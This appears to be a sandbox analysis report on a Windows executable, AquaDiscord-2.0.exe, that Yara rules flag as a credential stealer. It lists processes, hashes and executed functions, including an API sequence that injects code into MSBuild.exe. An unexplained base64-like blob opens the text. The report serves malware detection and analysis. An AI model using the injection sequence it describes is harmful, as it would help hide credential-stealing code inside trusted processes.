+hI+1D3QbHXu7w1o1G8bCHaCOFr5T7ClrB7I23C7mjF9lq9ZNVzhK28/iL5U59nGqJxxFneD8DMsHI0Rd32QObSeel33E6l1dqgQqVcnFQ5oQXMPf8A1NXJXR9+wo1F1MdyyFbpYr21jqYOmmyVUxCge8BYnR3h7oNHAmTR6FPPnWe9VPB5u5yerDCqcq1jDL8IxEzdDcvyzkc8HfnsTcDJb95VkVi+kbunJ7AqinkVnVLmO5sxytOuRiBNgspz

Target ID:	0
Start time:	14:39:58
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\AquaDiscord-2.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AquaDiscord-2.0.exe"
Imagebase:	0xaf0000
File size:	834'048 bytes
MD5 hash:	A15EBBC7798933DC1D436B59600F3ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:39:58
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:39:59
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\AquaDiscord-2.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AquaDiscord-2.0.exe"
Imagebase:	0xaf0000
File size:	834'048 bytes
MD5 hash:	A15EBBC7798933DC1D436B59600F3ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1737933383.0000000002E4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1747045883.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1737540016.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	1.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00B2019E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00B20110,00B20100), ref: 00B20334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00B20347
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 00B20365
ReadProcessMemory.KERNELBASE(0000008C,?,00B20154,00000004,00000000), ref: 00B20389
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 00B203B4
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 00B2040C
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 00B20457
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 00B20495
Wow64SetThreadContext.KERNEL32(0000009C,03270000), ref: 00B204D1
ResumeThread.KERNELBASE(0000009C), ref: 00B204E0

Strings

VirtualAlloc, xrefs: 00B20263
GetP, xrefs: 00B2021E
ResumeThread, xrefs: 00B202D8
WriteProcessMemory, xrefs: 00B202AF
aryA, xrefs: 00B201E2
ReadProcessMemory, xrefs: 00B20289
GetThreadContext, xrefs: 00B20276
ress, xrefs: 00B20226
Load, xrefs: 00B201DA
VirtualAllocEx, xrefs: 00B2029C
TerminateProcess, xrefs: 00B203C3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00B20333
CreateProcessW, xrefs: 00B20250
SetThreadContext, xrefs: 00B202C2

Memory Dump Source

Source File: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 8f68f392b8282c44deacae8b6dd40682a3d8689cf58bd56655d792e58530f55a
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 0DB1F87264064AAFDB60CF68CC80BDA73A5FF88714F158164EA0CAB342D774FA51CB94

Function 00AF1C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00AF1C3B
CreateFileA.KERNELBASE ref: 00AF1C94
GetFileSize.KERNEL32 ref: 00AF1CC3
CloseHandle.KERNEL32 ref: 00AF1CDF

Strings

CreateFileA, xrefs: 00AF1C2E

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: File$AddressCloseCreateHandleProcSize
String ID: CreateFileA
API String ID: 2547132502-1429953656
Opcode ID: 3b3a8397c318f0ec78c903f22b217b869669ca7126df922cdef23f0b01843e77
Instruction ID: 77bf83dd73c75a25759355b9e12f52bb8964868cbf928b580396b5d610c4b53e
Opcode Fuzzy Hash: 3b3a8397c318f0ec78c903f22b217b869669ca7126df922cdef23f0b01843e77
Instruction Fuzzy Hash: 0141B4B0D08209DFCB00EFA8D5586AEBBF0EF48314F008529E899A7350DB749949CF96

Function 00B06602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,F5340F7A,?,00B06711,00000000,00000000,00000000,00000000), ref: 00B066C3

Strings

ext-ms-, xrefs: 00B0666D
api-ms-, xrefs: 00B06659

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4a1beacfa795c5919e684d086448515e70245dd28bfde8aac04fce70c41fcf83
Instruction ID: 4a677b89f9c7847c04d8fcef529f25e7c1b49623d6bd1c410ee28ffd38e4a205
Opcode Fuzzy Hash: 4a1beacfa795c5919e684d086448515e70245dd28bfde8aac04fce70c41fcf83
Instruction Fuzzy Hash: 7C21E732A01215ABD7319B649C44ADA7FE8DB417B0F1502A0FD25A72D0EF31ED11C6D0

Function 00B06DEA Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00B06E6F
__alloca_probe_16.LIBCMT ref: 00B06F38
__freea.LIBCMT ref: 00B06F9F

Part of subcall function 00B056B1: RtlAllocateHeap.NTDLL(00000000,00B07635,?,?,00B07635,00000220,?,?,?), ref: 00B056E3

__freea.LIBCMT ref: 00B06FB2
__freea.LIBCMT ref: 00B06FBF

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 96a9e5855576790a151e6be68607f2455f5c34f5dfc67e395efcf6872c004d08
Instruction ID: e94ea3bfbf5014c75ea09299e8bf93f34aa5c52b302f6235ddbbd9ea2f2f0319
Opcode Fuzzy Hash: 96a9e5855576790a151e6be68607f2455f5c34f5dfc67e395efcf6872c004d08
Instruction Fuzzy Hash: FB519372600207AFEB219EA1ED81EBBBFE9DF54750F1501A9FD04D6291EB31DC60D6A0

Function 00AF1DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00AF1E6E
VirtualProtect.KERNELBASE ref: 00AF1EC3

Strings

VirtualProtect, xrefs: 00AF1E61
@, xrefs: 00AF1EB7

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: @$VirtualProtect
API String ID: 3759838892-29487290
Opcode ID: a08e5fd78fee1a3be1a5b6724acfe734323f83a9e38269b72bb6fb5b0aa5f435
Instruction ID: 12efb434c298eb400047c9b64d168f8daab7e0939b6189faf2074abfbfd42242
Opcode Fuzzy Hash: a08e5fd78fee1a3be1a5b6724acfe734323f83a9e38269b72bb6fb5b0aa5f435
Instruction Fuzzy Hash: 2841E4B0901209DFDB04EFA9D5986EEBBF0FF08314F108419E858AB351D775A945CF91

Function 00AFF253 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00AFF160,?,00AFF315,00000000,?,?,00AFF160,F5340F7A,?,00AFF160), ref: 00AFF264
TerminateProcess.KERNEL32(00000000,?,00AFF315,00000000,?,?,00AFF160,F5340F7A,?,00AFF160), ref: 00AFF26B
ExitProcess.KERNEL32 ref: 00AFF27D

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a0b7f673d0b789f915097f8ab05f1bb646eda8127e087af07bd2e1db5b7f218c
Instruction ID: af551377370ab81362a098d3e4b1a8ed81a11ab23f8ae8b161ea3c9fabc69f0d
Opcode Fuzzy Hash: a0b7f673d0b789f915097f8ab05f1bb646eda8127e087af07bd2e1db5b7f218c
Instruction Fuzzy Hash: 98D09E7600010CAFCF012FA0DD0D9ED3F69EF443917888024BE1957131CF31D9529A55

Function 00B0D364 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0D70E: GetConsoleOutputCP.KERNEL32(F5340F7A,00000000,00000000,?), ref: 00B0D771

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00AFD7F2,?,00AFDA54), ref: 00B0D4E9
GetLastError.KERNEL32(?,00AFD7F2,?,00AFDA54,?,00AFDA54,?,?,?,?,?,?,?,00000000,?,?), ref: 00B0D4F3

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: ecb527849bf09ea7c14c4159e6d6cf1d340e694f423f04292fede576814e0e07
Instruction ID: 98aba3f83053635cd2fb4760b86dd98a25d6052faab845df2445aff6a701117e
Opcode Fuzzy Hash: ecb527849bf09ea7c14c4159e6d6cf1d340e694f423f04292fede576814e0e07
Instruction Fuzzy Hash: 79618DB1904119AEDF158FE8C884AEEBFF9EF59318F1441C9E904A72D2D731DA41CBA1

Function 00B07268 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0746D: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00B07498

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00B07678,?,00000000,?,?,?), ref: 00B072C9
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B07678,?,00000000,?,?,?), ref: 00B07305

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: ec73823bbefe01717a3eb81974505954c408004ddf1b76bab09153203051e2d5
Instruction ID: 95906368bdc5ed46fc2df81b42e8830a9d641a68cc269a83945152a5b0d5a71d
Opcode Fuzzy Hash: ec73823bbefe01717a3eb81974505954c408004ddf1b76bab09153203051e2d5
Instruction Fuzzy Hash: 89511470E482458EEB20CF75C8806AEFFF5EF45300F1884AED49687292DA74B946DB94

Function 00B0DB3D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00B0D4CF,?,00AFDA54,?,?,?,00000000), ref: 00B0DBD9
GetLastError.KERNEL32(?,00B0D4CF,?,00AFDA54,?,?,?,00000000,?,?,?,?,?,00AFD7F2,?,00AFDA54), ref: 00B0DBFF

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 4ec9560ffc39f92afa519fd65100e6974ad484014933ec5f9a63280354b7d138
Instruction ID: 6105d059ea366db0753d5657cce0e15e728f5dfa548b03fe64280a24ecd48100
Opcode Fuzzy Hash: 4ec9560ffc39f92afa519fd65100e6974ad484014933ec5f9a63280354b7d138
Instruction Fuzzy Hash: CB219130A002199BDB19CF69DD809E9BBF9EB48305F1441E9E946D7291D630EE42CB64

Function 00B07152 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00B07041,00B1FCD8,0000000C), ref: 00B0719E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00B07041,00B1FCD8,0000000C), ref: 00B071B0

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5beb2d8c26bde94e3b8b0a66926a0583c49e9a7360d22b8e3f4bd15fad2e5a69
Instruction ID: 84e7d42294da8d7f7edfe488390b170eb13fc18919fd08a8a0c73e1883f8c00a
Opcode Fuzzy Hash: 5beb2d8c26bde94e3b8b0a66926a0583c49e9a7360d22b8e3f4bd15fad2e5a69
Instruction Fuzzy Hash: 491190319487814AC7304A3E8C88A22EEE4EB52370B280799D9B6A75F1CE20E847D641

Function 00AF2010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00AF2038
GetModuleFileNameW.KERNEL32 ref: 00AF2058

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Module$FileHandleName
String ID:
API String ID: 4146042529-0
Opcode ID: e12c7ecbf089ecee01661bc8f6c3980198e4f9872c9dd3bb5043d4fb790b9563
Instruction ID: f91afcb2ace2b80d73c37c0b820378638a40cb63557becf8c7408fde01721217
Opcode Fuzzy Hash: e12c7ecbf089ecee01661bc8f6c3980198e4f9872c9dd3bb5043d4fb790b9563
Instruction Fuzzy Hash: 5301ECB09042088FDB14EF68D54969DBBF8BF48300F4045ADE899D7351EB749A88CF52

Function 00B064B3 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00B06EDA,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 00B064E7
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00B06EDA,?,?,-00000008,?,00000000), ref: 00B06505

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 55f9b954da454ba452d0cb8470b1f3529c821fd3bf088640d1033bc58bedf2fc
Instruction ID: a81adb79fe8d0bb5bd9fa69699050927c91987e94a57cc04dbfed362c30775c9
Opcode Fuzzy Hash: 55f9b954da454ba452d0cb8470b1f3529c821fd3bf088640d1033bc58bedf2fc
Instruction Fuzzy Hash: 43F0683240011ABBCF125F90DC159DE3F66EB587A0F058550FA1826160CB32D931AB90

Function 00B05677 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00B09A24,?,00000000,?,?,00B096C4,?,00000007,?,?,00B0A00A,?,?), ref: 00B0568D
GetLastError.KERNEL32(?,?,00B09A24,?,00000000,?,?,00B096C4,?,00000007,?,?,00B0A00A,?,?), ref: 00B05698

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3ed97bcd538e2f0e364be1fd23ee7224b526de84b08874ccfe946a60698ecc22
Instruction ID: 47b33072248bceaf7549bee5e4332dded865b3c8aa5df2515836776a62e8c474
Opcode Fuzzy Hash: 3ed97bcd538e2f0e364be1fd23ee7224b526de84b08874ccfe946a60698ecc22
Instruction Fuzzy Hash: 5FE08C32100658ABCB212BA8EC08BDA7ED8EB40351F5084A0FA18C74A0CB318850CF99

Function 00AF14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00AF150B

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 584ecc560c99977202464e25346d497497ff0e708cf6680d2f89b310828c7bba
Instruction ID: 17e5679798ec19d0b96d3245a3a4a2e376431dd593db57de447a42d04448f17b
Opcode Fuzzy Hash: 584ecc560c99977202464e25346d497497ff0e708cf6680d2f89b310828c7bba
Instruction Fuzzy Hash: ABD10475604B48CFCB24EFA8C295A66BBF0BF48754B108A1DF9878BB51D735E904CB41

Function 00B077F7 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,00B07678,?), ref: 00B07829

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

